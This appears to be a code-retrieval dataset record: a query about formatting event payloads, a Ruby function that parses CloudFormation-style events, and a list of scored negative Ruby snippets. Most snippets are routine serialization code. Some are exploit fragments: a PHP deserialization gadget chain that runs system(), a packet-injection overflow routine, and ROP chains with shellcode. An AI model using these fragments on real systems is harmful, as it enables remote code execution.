"def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end",
"def to_payload(ruby_elt)\n type = self.class.element_type\n converter = CONVERTER_CLASS[type] || type\n converter.payload_format(ruby_elt)\n end",
"def to_payload(type = PSBT_IN_TYPES[:bip32_derivation])\n PSBT.serialize_to_vector(type, key: pubkey.htb, value: info.to_payload)\n end",
"def payload\n deserialize_json(body)\n end",
"def to_payload\n version.htb << [depth].pack('C') << parent_fingerprint.htb <<\n [number].pack('N') << chain_code << [0x00].pack('C') << key.priv_key.htb\n end",
"def messages_payload\n messages.order(created_at: :desc).includes(:user).map do |message|\n {\n message_id: message.id,\n username: message.user.username,\n channel_name: message.channel.name,\n content: message.content,\n created_at: message.created_at\n }\n end\n end",
"def payload\n self.update(:payload)\n @payload\n end",
"def packed()\n body = TacacsPlus.pack_int_net(@user_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) +\n @flags.chr\n \n body << @user_msg if (@user_msg)\n body << @data if (@data)\n return(body)\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @topics = []\n while buffer.bytesize > 0\n topic_name = shift_string(buffer)\n topic_qos = shift_byte(buffer)\n @topics << [topic_name, topic_qos]\n end\n end",
"def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @topics = []\n while buffer.bytesize > 0\n topic_name = shift_string(buffer)\n topic_qos = shift_byte(buffer)\n @topics << [topic_name, topic_qos]\n end\n end",
"def data\n raise RuntimeError, 'No raw data set' unless @raw\n\n header, @chunk_id, @chunk_count, crc32, b = Payload.decode(@raw).unpack('a4LLLa*')\n\n raise FormatError unless header == HEADER\n raise ChecksumError unless Zlib.crc32(b) == crc32\n\n b\n end",
"def to_h\n @payload\n end",
"def to_payload(payload = nil)\n return {} if payload.nil?\n return {} if payload.respond_to?(:empty?) && payload.empty?\n\n # TODO: refactor this, don't update a hash that's not ours\n payload.update params: MultiJson.dump(payload[:params])\n payload.update signature: signature(payload[:params])\n payload.delete :signature if payload[:signature].nil?\n payload\n end",
"def create_payload(api_key_str:, msg:, extra_content:)\n \"#{api_key_str} #{extra_content} #{msg}\\n\"\n end",
"def data\n identifier = @identifier || 0\n expiry = @expiry || 0\n size = [payload].pack(\"a*\").size\n data_array = [1, identifier, expiry, 32, token, size, payload]\n data_array.pack(\"cNNnH*na*\")\n end",
"def parse(incoming_payload, user_data)\n @incoming_payload = incoming_payload\n parse_payload!(user_data)\n end",
"def read_data_block_payload\n skip(Format::Current::DATA_BLOCK_HEADER_SIZE - 1)\n compressed = read_payload(1).unpack('C').first\n data = read_payload\n if compressed != 0\n # Payload is compressed\n data = Zlib::Inflate.inflate(data)\n end\n data\n end",
"def pack\n end",
"def payload\n msg = {\n data: {\n alert: alert,\n badge: badge || \"Increment\",\n },\n }\n msg[:data][:sound] = sound if sound.present?\n msg[:data][:title] = title if title.present?\n msg[:data].merge! @data if @data.is_a?(Hash)\n\n if @expiration_time.present?\n msg[:expiration_time] = @expiration_time.respond_to?(:iso8601) ? @expiration_time.iso8601(3) : @expiration_time\n end\n if @push_time.present?\n msg[:push_time] = @push_time.respond_to?(:iso8601) ? @push_time.iso8601(3) : @push_time\n end\n\n if @expiration_interval.is_a?(Numeric)\n msg[:expiration_interval] = @expiration_interval.to_i\n end\n\n if query.where.present?\n q = @query.dup\n if @channels.is_a?(Array) && @channels.empty? == false\n q.where :channels.in => @channels\n end\n msg[:where] = q.compile_where unless q.where.empty?\n elsif @channels.is_a?(Array) && @channels.empty? == false\n msg[:channels] = @channels\n end\n msg\n end",
"def parse_body(buffer)\n @id = shift_short(buffer)\n while(buffer.bytesize>0)\n @return_codes << shift_byte(buffer)\n end\n # puts \"subacks #{@return_codes.inspect}\"\n end",
"def to_payload\n to_array.map { |line| MultiJson.encode(line) }.join(\"\\n\") + \"\\n\"\n end",
"def parse_item stream, encoding = nil\n decode read_item(stream)[:payload], encoding\n end",
"def rex_wrap_message( sessionid, message_type, payload=nil )\n\n @logger.info(message_type)\n\n if sessionid.empty? or message_type.empty?\n @logger.error( \"Error, message_type and sessionid must be provided\" )\n return nil\n end\n\n if not REX_MESSAGE_TYPES.include?( message_type )\n @logger.error( \"Error, invalid message type #{message_type}\" )\n return nil\n end\n\n msg = Hash.new\n msg[\"sessionid\"] = \"#{sessionid}\"\n msg[\"message_type\"] = \"#{message_type}\"\n\n if payload.nil?\n jmsg = msg.to_json\n else\n jmsg = msg.merge( payload ).to_json\n @logger.info(\"rexmessage, payload = #{payload}\")\n @logger.info(\"rexmessage, jmsg = #{jmsg}\")\n end\n\n @logger.info(\"jmsg: #{jmsg}\")\n return jmsg\n\n end",
"def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Received packet'\n end",
"def create_message(data); end",
"def create_message(data); end",
"def inject_payload(my_payload)\r\n\r\n\t\tbuf = ''\r\n\t\tbuf << \"\\x01\\x00\\x34\\x12\"\r\n\t\tbuf << \"\\x0D\" #Opcode\r\n\t\tbuf << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Flag\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << \"\\x01\" #Command (ListAll)\r\n\t\tbuf << \"\\x00\\x00\\x00\"\r\n\t\tbuf << my_payload\r\n\t\tbuf << Rex::Text.rand_text_alpha(1024-my_payload.length)\r\n\t\tbuf << \"\\x00\"*130\r\n\r\n\t\t#Packet size\r\n\t\tbuf_size = [buf.length + 2].pack('v')\r\n\t\tbuf = buf_size + buf\r\n\r\n\t\tconnect\r\n\r\n\t\tsock.put(buf)\r\n\t\tprint_status(\"Injecting payload in memory to #{datastore['RHOST']}\")\r\n\r\n\t\tdisconnect\r\n\tend",
"def generate_payload(attributes, _record)\n fields = self.encoder.schema_fields\n payload = attributes.stringify_keys\n payload.delete_if do |k, _|\n k.to_sym != :payload_key && !fields.map(&:name).include?(k)\n end\n end",
"def test_payload_roundtrip\n # Test with values\n header = EasyIP::Header.new(pack_packet(TWO_WORDS))\n payload1 = header.payload\n header.payload= payload1\n assert_equal payload1, header.payload\n \n # Test with string array\n header = EasyIP::Header.new(pack_packet(LONG_STRING))\n payload1 = header.payload\n header.payload = payload1\n assert_equal payload1, header.payload\n \n # Test with single string\n header.payload = \"test\"\n assert_equal [\"test\"], header.payload\n end",
"def unpack\n if ! @unpacked && @sec_buffer && @struct\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLPLLP\")\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLP#{dataBufferSize}LLP#{tokenBufferSize}\")\n # Form the buffer stream as required by server\n @buffer = [tokenBufferSize].pack(\"L\")\n @buffer << tokenBuffer << dataBuffer\n @struct = nil\n @sec_buffer = nil\n @unpacked = true\n end\n end",
"def parse\n self.payload ||= []\n while element = yield\n payload << element\n end\n end",
"def packed()\n body = @action.chr + \n @priv_lvl.chr + \n @authen_type.chr + \n @service.chr + \n @user_len.chr + \n @port_len.chr + \n @rem_addr_len.chr + \n @data_len.chr\n\n body << @user if (@user)\n body << @port if (@port)\n body << @rem_addr if (@rem_addr)\n body << @data if (@data)\n return(body)\n end",
"def payload\n # TODO(sissel): Handle massive payload lengths without exceeding memory.\n # Perhaps if the payload is large (say, larger than 500KB by default),\n # instead of returning the whole thing, simply return an Enumerable that\n # yields chunks of the payload. There's no reason to buffer the entire\n # thing. Have the consumer of this library make that decision.\n data = get(@need)\n transition(:flags_and_opcode, 1)\n if @masked\n return unmask(data, @mask)\n else\n return data\n end\n end",
"def payload\n @payload\n end",
"def initialize(payload)\n set_defaults\n \n @raw_data = payload\n @data = parse_payload(payload)\n\n parse!\n\n @skip = skip_message? unless @skip\n end",
"def decrypted_payload\n EncryptionService.new.decrypt(payload).to_h\n end",
"def consume(delivery_info, properties, payload)\n #data = @transport.get_message(rmsg)\n #payload is a string\n env = @serializer.deserialize payload\n puts 'oeuaoeusatoehuntsaoheuntsahoeusnth'\n puts env\n deliver(env)\n end",
"def _payload_container(message_type_id)\n class_identifier = \"NMEAPlus::Message::AIS::VDMPayload::VDMMsg#{message_type_id}\"\n Object::const_get(class_identifier).new\n rescue ::NameError\n class_identifier = \"NMEAPlus::Message::AIS::VDMPayload::VDMMsgUndefined\" # generic\n Object::const_get(class_identifier).new\n end",
"def read_message bytes, state=nil\n read_message! bytes.dup, state\n end",
"def decode_launchitem( msg )\n hash = Ruote::Json.decode( msg )\n opts = {}\n definition = hash.delete('definition')\n fields = hash.delete('fields') || {}\n\n ::Ruote::Launchitem.new( definition, fields )\n end",
"def set_fields_from_hash(message)\n @sender = message['fromUuid'] || ''\n @payload = message['payload'] || {}\n @message_type = payload['message_type'].to_s.downcase || ''\n @time_stamp = payload['time_stamp'] || nil\n @handled = false\n end",
"def get_payload(t)\n\t\t# chain generated by mona.py - See corelan.be\n\t\tcase t['Rop']\n\t\twhen :msvcrt\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\t0x77c11120, # <- *&VirtualProtect()\n\t\t\t\t0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n\t\t\t\tjunk,\n\t\t\t\t0x77c2dd6c,\n\t\t\t\t0x77c4ec00, # POP EBP # RETN\n\t\t\t\t0x77c35459, # ptr to 'push esp # ret'\n\t\t\t\t0x77c47705, # POP EBX # RETN\n\t\t\t\t0x00000800, # <- change size to mark as executable if needed (-> ebx)\n\t\t\t\t0x77c3ea01, # POP ECX # RETN\n\t\t\t\t0x77c5d000, # W pointer (lpOldProtect) (-> ecx)\n\t\t\t\t0x77c46100, # POP EDI # RETN\n\t\t\t\t0x77c46101, # ROP NOP (-> edi)\n\t\t\t\t0x77c4d680, # POP EDX # RETN\n\t\t\t\t0x00000040, # newProtect (0x40) (-> edx)\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\tnop, # NOPS (-> eax)\n\t\t\t\t0x77c12df9, # PUSHAD # RETN\n\t\t\t].pack(\"V*\")\n\n\t\twhen :jre\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN\n\t\t\t\t0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)\n\t\t\t\t0x7c347f98, # RETN (ROP NOP)\n\t\t\t\t0x7c3415a2, # JMP [EAX]\n\t\t\t\t0xffffffff,\n\t\t\t\t0x7c376402, # skip 4 bytes\n\t\t\t\t0x7c351e05, # NEG EAX # RETN\n\t\t\t\t0x7c345255, # INC EBX # FPATAN # RETN\n\t\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN\n\t\t\t\t0x7c344f87, # POP EDX # RETN\n\t\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\n\t\t\t\t0x7c351eb1, # NEG EDX # RETN\n\t\t\t\t0x7c34d201, # POP ECX # RETN\n\t\t\t\t0x7c38b001, # &Writable location\n\t\t\t\t0x7c347f97, # POP EAX # RETN\n\t\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\n\t\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN\n\t\t\t\t0x7c345c30, # ptr to 'push esp # ret '\n\t\t\t].pack(\"V*\")\n\t\tend\n\n\t\tcode = rop\n\t\tcode << make_nops(38)\n\t\tcode << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+0x6\").encode_string # instr length: 2 bytes\n\t\tcode << [t.ret].pack(\"V\") # Stack Pivot\n\t\tcode << payload.encoded\n\n\t\treturn code\n\tend",
"def create_payload_from_file(exec)\n print_status(\"Reading Payload from file #{exec}\")\n ::IO.read(exec)\n end",
"def extract_message(input)\n sender = nil\n content = nil\n is_action = false\n \n stripped = input.strip\n if stripped[0...1] == '*' # action\n is_action = true\n stripped = stripped[1..-1].split(' ')\n sender = stripped[0]\n content = stripped[1..-1].join(' ')\n else\n scanned = /<([^>]*)> (.*)/.match(stripped)\n sender = scanned[1].strip\n content = scanned[2]\n end\n \n [{:ident => sender, :name => sender, :host => nil}, content, is_action]\n end",
"def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @topics << shift_string(buffer) while buffer.bytesize > 0\n end",
"def initialize(payload)\n @named_elements = {}\n super\n @type = read_byte\n instantiate!\n end"
] | [
"0.70783406",
"0.6986811",
"0.6706475",
"0.6528558",
"0.64641255",
"0.64204985",
"0.63859016",
"0.6255469",
"0.6159768",
"0.61405224",
"0.6133293",
"0.61029845",
"0.6081042",
"0.6077328",
"0.6057204",
"0.6052907",
"0.60302293",
"0.6026357",
"0.60199404",
"0.60062534",
"0.5955491",
"0.59540725",
"0.59204715",
"0.5898376",
"0.58838105",
"0.5879704",
"0.58566976",
"0.5855877",
"0.5850791",
"0.584863",
"0.5848498",
"0.5829237",
"0.5809884",
"0.5803855",
"0.57886684",
"0.5776482",
"0.5776442",
"0.5759789",
"0.57338965",
"0.57177377",
"0.57150954",
"0.57023245",
"0.5694935",
"0.5693032",
"0.5676572",
"0.565764",
"0.5649176",
"0.5649176",
"0.5628172",
"0.5607614",
"0.5605775",
"0.56035936",
"0.5600188",
"0.55854726",
"0.55538917",
"0.55388266",
"0.5497972",
"0.5484261",
"0.547813",
"0.5475161",
"0.54686546",
"0.54680216",
"0.54567665",
"0.54567665",
"0.5448597",
"0.5447779",
"0.5447649",
"0.5438066",
"0.54379857",
"0.5436822",
"0.5428684",
"0.54275495",
"0.5426743",
"0.54236054",
"0.54184777",
"0.5410719",
"0.54040027",
"0.53829694",
"0.5382444",
"0.5382444",
"0.5378659",
"0.5375203",
"0.5370744",
"0.53683335",
"0.53600466",
"0.53568685",
"0.53554195",
"0.5352372",
"0.53454083",
"0.53374755",
"0.53311855",
"0.5325856",
"0.5322022",
"0.5320717",
"0.5312223",
"0.53063285",
"0.53061277",
"0.53031164",
"0.5300555",
"0.5296578"
] | 0.710813 | 0 |
Format payload into proper event structure | def format_event(evt)
parts = evt.split("\n").map do |entry|
chunks = entry.split('=')
key = chunks.shift.strip
value = chunks.join.strip.sub(/^'/, '').sub(/'$/, '').strip
[key, value]
end
event = Smash[parts]
unless(event['ResourceProperties'].to_s.empty?)
begin
event['ResourceProperties'] = MultiJson.load(event['ResourceProperties'])
rescue MultiJson::LoadError => e
error "Failed to load `ResourceProperties`: #{e.class} - #{e}"
debug "#{e.class}: #{e}\n#{e.backtrace.join("\n")}"
end
else
event['ResourceProperties'] = {}
end
Smash.new(Carnivore::Utils.symbolize_hash(event))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(map_event(event))\n elsif @format == \"message\"\n event.sprintf(@message)\n elsif @format == \"json_batch\"\n LogStash::Json.dump(event.map {|e| map_event(e) })\n else\n encode(map_event(event))\n end\n end",
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(map_event(event))\n elsif @format == \"message\"\n event.sprintf(@message)\n else\n encode(map_event(event))\n end\n end",
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n documents = []\n document = event.to_hash()\n documents.push(document)\n LogStash::Json.dump(documents)\n elsif @format == \"message\"\n event.sprintf(@message)\n else\n encode(map_event(event))\n end\n end",
"def parsed_event\n event = {\n 'payload' => Yajl::Encoder.encode(payload),\n 'public' => is_public\n }\n\n ['repo', 'actor', 'created_at', 'id', 'org', 'type'].each do |field|\n # Don't include the field in the return event if it's empty.\n value = self.send(field)\n next if value.nil? || value.empty?\n event[field] = value\n end\n\n # Worst. Code. Ever.\n event['other'] = Yajl::Encoder.encode(other) if !other.empty?\n\n return event\n end",
"def to_s\n \"Event Type: #{event_type}, Payload: #{payload}, Settings: #{settings}\"\n end",
"def flatten_event_payload(event)\n case event.type\n when 'CreateEvent'\n return YAML::dump({ 'ref_type' => event.payload.ref_type, 'description' => event.payload.description })\n when 'DeleteEvent'\n return YAML::dump({ 'ref_type' => event.payload.ref_type })\n when 'DeploymentEvent'\n return YAML::dump({ 'name' => event.payload.name })\n when 'ForkEvent'\n return YAML::dump({ 'forkee' => event.payload.forkee['full_name'] })\n when 'GollumEvent'\n ## TODO: pages[][page_name]\n return YAML::dump({ 'action' => event.payload.action })\n when 'IssuesEvent'\n return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })\n when 'IssueCommentEvent'\n return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })\n when 'MemberEvent'\n return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'] })\n when 'MembershipEvent'\n return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'], 'team' => event.payload.team['name'], 'scope' => event.payload.scope })\n when 'PullRequestEvent'\n return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })\n when 'PullRequestReviewCommentEvent'\n return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })\n when 'PushEvent'\n return YAML::dump({ 'size' => event.payload.size })\n when 'ReleaseEvent'\n return YAML::dump({ 'action' => event.payload.action, 'release' => event.payload.release['url'] })\n when 'RepositoryEvent'\n return YAML::dump({ 'action' => event.payload.action, 'repository' => event.payload.repository['full_name'] })\n when 'StatusEvent'\n return YAML::dump({ 'state' => event.payload.state, 'sha' => event.payload.sha })\n when 'TeamAddEvent'\n return YAML::dump({ 'team' => event.payload.team['name'], 'repository' => event.payload.repository['full_name'] })\n when 'WatchEvent'\n return YAML::dump({ 'action' => event.payload.action })\n else\n # CommitCommentEvent\n # DeploymentStatusEvent\n # DownloadEvent - No longer exists\n # FollowEvent - No longer exists\n # ForkApplyEvent - No longer exists\n # GistEvent - No longer exists\n # PageBuildEvent\n # PublicEvent\n return ''\n end\n end",
"def format(logevent)\n end",
"def format(tag, time, record)\n #log.trace \"splunk-http-eventcollector(format) called\"\n # Basic object for Splunk. Note explicit type-casting to avoid accidental errors.\n\n placeholder_values = {\n 'tag' => tag,\n 'tag_parts' => tag.split('.'),\n 'hostname' => @hostname,\n 'record' => record\n }\n\n placeholders = @placeholder_expander.prepare_placeholders(placeholder_values)\n\n splunk_object = Hash[\n # for v0.14 millisecs time precision\n \"time\" => time.is_a?(Integer) ? time.to_i : time.to_f,\n \"source\" => if @source.nil? then tag.to_s else @placeholder_expander.expand(@source, placeholders) end,\n \"sourcetype\" => @placeholder_expander.expand(@sourcetype.to_s, placeholders),\n \"host\" => @placeholder_expander.expand(@host.to_s, placeholders),\n \"index\" => @placeholder_expander.expand(@index, placeholders)\n ]\n # TODO: parse different source types as expected: KVP, JSON, TEXT\n if @all_items\n splunk_object[\"event\"] = convert_to_utf8(record)\n else\n splunk_object[\"event\"] = convert_to_utf8(record[\"message\"])\n end\n\n json_event = splunk_object.to_json\n #log.debug \"Generated JSON(#{json_event.class.to_s}): #{json_event.to_s}\"\n #log.debug \"format: returning: #{[tag, record].to_json.to_s}\"\n json_event\n end",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def event_body(event)\n LogStash::Json.dump(cfapi([event]))\n end",
"def payload_data\n case @config.format\n when :json\n @payload.to_json\n when :yaml\n @payload.to_yaml\n else\n @payload.to_hash\n end\n end",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count][email protected]\n body[:errors]=@errors\n end\n body.to_json\n end",
"def format_payload(payload, as: JSON_CONTENT_TYPE)\n # Non-Hash payloads are passed through as-is.\n return payload unless payload.is_a? Hash\n\n # Massage Hash-like payloads into a suitable format.\n case as\n when JSON_CONTENT_TYPE\n JSON.generate(payload.as_json)\n when FORM_CONTENT_TYPE\n payload.to_query\n else\n payload.to_s\n end\n end",
"def format(payload)\n event = payload.get(:data, :cfn_event)\n if(valid_event?(event))\n stack_id = payload.get(:data, :cfn_event, :stack_id)\n if(stack_id)\n debug \"Found stack ID information. Setting commander scrub commands. (Stack ID: #{stack_id})\"\n actions = payload.fetch(:data, :commander, :actions, [])\n actions << Smash.new(\n :name => app_config.fetch(:cfn, :formatter, :chef_cleanup_command, :chef_cleanup),\n :arguments => stack_id\n )\n payload.set(:data, :commander, :actions, actions)\n end\n end\n end",
"def format_request(payload); end",
"def format_request(payload); end",
"def event\n params.payload[:event].to_sym\n end",
"def webhook_event_details(payload:)\n payment_fee = payload.dig(:NotificationRequestItem, :splits)&.find_all { |split| split[:type] == 'PaymentFee' }&.first\n\n {\n attempt_token: nil,\n amount_currency: payload.dig(:NotificationRequestItem, :amount, :currency),\n amount_cents: payload.dig(:NotificationRequestItem, :amount, :value),\n status: payload.dig(:NotificationRequestItem, :success) == 'true' ? 'Success' : 'Failure',\n external_payment_id: payload.dig(:NotificationRequestItem, :pspReference),\n email: payload.dig(:NotificationRequestItem, :additionalData, :shopperEmail), # optional\n contact: nil, # optional\n event: payload.dig(:NotificationRequestItem, :eventCode),\n external_subscription_id: payload.dig(:NotificationRequestItem, :additionalData, :\"recurring.recurringDetailReference\"),\n payment_gateway_fee_cents: payment_fee.nil? ? nil : payment_fee[:amount][:value], # optional\n payment_gateway_fee_currency: payment_fee.nil? ? nil : payment_fee[:amount][:currency] # optional\n }\n end",
"def http_message\n {\n data: {\n type: \"events\",\n id: event.id,\n attributes: {\n updated_at: event.updated_at,\n }\n }\n }.to_json\n end",
"def write(chunk)\n body = ''\n chunk.msgpack_each {|(tag,time,record)|\n\n # define index and sourcetype dynamically\n begin\n index = expand_param(@index, tag, time, record)\n sourcetype = expand_param(@sourcetype, tag, time, record)\n event_host = expand_param(@event_host, tag, time, record)\n token = expand_param(@token, tag, time, record)\n rescue => e\n # handle dynamic parameters misconfigurations\n router.emit_error_event(tag, time, record, e)\n next\n end\n log.debug \"routing event from #{event_host} to #{index} index\"\n log.debug \"expanded token #{token}\"\n\n # Parse record to Splunk event format\n case record\n when Integer\n event = record.to_s\n when Hash\n if @send_event_as_json\n event = Yajl::Encoder.encode(record)\n else\n event = Yajl::Encoder.encode(record).gsub(\"\\\"\", %q(\\\\\\\"))\n end\n else\n event = record\n end\n\n sourcetype = @sourcetype == 'tag' ? tag : @sourcetype\n\n # Build body for the POST request\n if !@usejson\n event = record[\"time\"]+ \" \" + Yajl::Encoder.encode(record[\"message\"]).gsub(/^\"|\"$/,\"\")\n body << '{\"time\":\"'+ DateTime.parse(record[\"time\"]).strftime(\"%Q\") +'\", \"event\":\"' + event + '\", \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + @source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n elsif @send_event_as_json\n body << '{\"time\" :' + time.to_s + ', \"event\" :' + event + ', \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n else\n body << '{\"time\" :' + time.to_s + ', \"event\" :\"' + event + '\", \"sourcetype\" :\"' + sourcetype + '\", \"source\" :\"' + source + '\", \"index\" :\"' + index + '\", \"host\" : \"' + event_host + '\"}'\n end\n\n if @send_batched_events\n body << \"\\n\"\n else\n send_to_splunk(body, token)\n body = ''\n end\n }\n\n if @send_batched_events\n send_to_splunk(body, token)\n end\n end",
"def send_payload(event, payload)\n @payload = payload.is_a?(String) ? payload : payload.to_json\n @payload = URI.encode_www_form(payload: @payload) if encoding == :form\n self.class.post host_path, body: @payload, headers: headers(event)\n end",
"def event_params\n params[:event][:payload] = JSON.parse(@json_payload)\n params[:event][:name] = request.headers['X-GitHub-Event']\n params[:event][:guid] = request.headers['X-GitHub-Delivery']\n params.require(:event).permit(:name, :guid, payload: {})\n end",
"def enhanced_event_format(event)\n return event.keys.inject({}) do |h,e|\n # capital_to_snake_case\n new_name=e.\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n gsub(/([a-z\\d])(usec)$/,'\\1_\\2').\n downcase\n value=event[e]\n value=value.to_i if IntegerFields.include?(e)\n value=value.eql?('Yes') ? true : false if BooleanFields.include?(e)\n h[new_name]=value\n h\n end\n end",
"def event_data(matching)\n event = {}\n event[:priority] = matching[1].to_i\n event[:syslog_version] = matching[2].to_i\n event[:emitted_at] = nil?(matching[3]) ? nil : Time.parse(matching[3]).utc\n event[:hostname] = interpret_nil(matching[4])\n event[:appname] = interpret_nil(matching[5])\n event[:proc_id] = interpret_nil(matching[6])\n event[:msg_id] = interpret_nil(nil)\n event[:structured_data] = interpret_nil(matching[7])\n event[:message] = interpret_nil(matching[8])\n event[:original] = matching[0]\n event\n end",
"def format_response(payload); end",
"def format_response(payload); end",
"def payload; message[:payload]; end",
"def encode_event(exi_event)\n end",
"def create_log_event(level, message, data=nil)\n event = {}\n event[:timestamp] = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S.%6N%z\")\n event[:level] = level\n event[:message] = message\n if data.is_a?(Hash)\n event.merge!(data)\n end\n# MultiJson.dump(event)\n Oj.dump(event)\n end",
"def event_hash(e)\n timber_hash = {\"$schema\" => JSON_SCHEMA}\n event_hash = e.to_hash\n\n # Delete unused logstash specific attributes\n event_hash.delete(\"@version\")\n\n # Map the timber key first since we merge in values\n # later.\n timber = event_hash.delete(\"timber\")\n if timber.is_a?(Hash)\n timber_hash.merge!(timber)\n end\n\n # Map the timestamp\n timestamp = event_hash.delete(\"@timestamp\")\n\n if timestamp\n timber_hash[\"dt\"] ||= timestamp.utc.to_iso8601\n end\n\n # Map the host\n host = event_hash.delete(\"host\")\n\n if host\n timber_hash[\"context\"] ||= {}\n timber_hash[\"context\"][\"system\"] ||= {}\n timber_hash[\"context\"][\"system\"][\"hostname\"] ||= host\n end\n\n # Map the message\n message = event_hash.delete(\"message\")\n\n if message\n timber_hash[\"message\"] ||= message\n end\n\n # Move everything else to meta, merging to preseve previous meta values.\n if event_hash != {}\n timber_hash[\"meta\"] ||= {}\n timber_hash[\"meta\"].merge!(event_hash)\n end\n\n timber_hash\n end",
"def format_hash(event)\n event.attributes.symbolize_keys\n end",
"def append_info_to_payload(payload); end",
"def store_event( event )\n\t\ttime = event.delete( '@timestamp' )\n\t\ttype = event.delete( '@type' )\n\t\tversion = event.delete( '@version' )\n\n\t\tdata = JSON.generate( event )\n\t\theaders = {\n\t\t\ttime: time,\n\t\t\ttype: type,\n\t\t\tversion: version,\n\t\t\tcontent_type: 'application/json',\n\t\t\tcontent_encoding: data.encoding.name,\n\t\t\ttimestamp: Time.now.to_f,\n\t\t}\n\n\t\t@amqp_exchange.value.publish( data, headers )\n\tend",
"def to_s\n ret = \"--- #{@attrs[:event_name]} ---\\n\"\n attrs = @attrs.collect { |k,v| [k.to_s, v] }\n attrs.reject! { |k,_| k == 'event_name' }\n attrs.sort.each do |k,v|\n # Adjust the length of the attribute name\n line = \"#{k[0,MAX_ATTR_NAME-2]}:#{' '*MAX_ATTR_NAME}\"[0,MAX_ATTR_NAME] \n \n # Beautify the attribute\n v = v.join(', ') if v.class <= Array\n v = v.to_s\n unless @full_event_display\n v = v[0,MAX_ATTR_VALUE] if v.length > MAX_ATTR_VALUE\n end\n i = 0\n while i < v.length do\n v[i,1] = \"\\\\x#{'%02x' % v[i]}\" unless _printable?(v[i])\n i += 1\n end\n unless @full_event_display\n v = v[0,MAX_ATTR_VALUE] if v.length > MAX_ATTR_VALUE\n end\n ret << \" #{line}#{v}\\n\"\n end\n ret << \"\\n\"\n end",
"def format\n '<div class=\"evName\">'+event_type.name+'</div><div class=\"evRoad\">'+road+'</div><div class=\"evDescription\">'+description+'</div>'\n end",
"def webhook_example_event(sample_name)\n data = webhook_example_events(sample_name).first\n if data['raw_params'] && (mandrill_events_data = data['raw_params']['mandrill_events'])\n data['raw_params']['mandrill_events'] = URI.decode_www_form_component(mandrill_events_data)\n end\n data\n end",
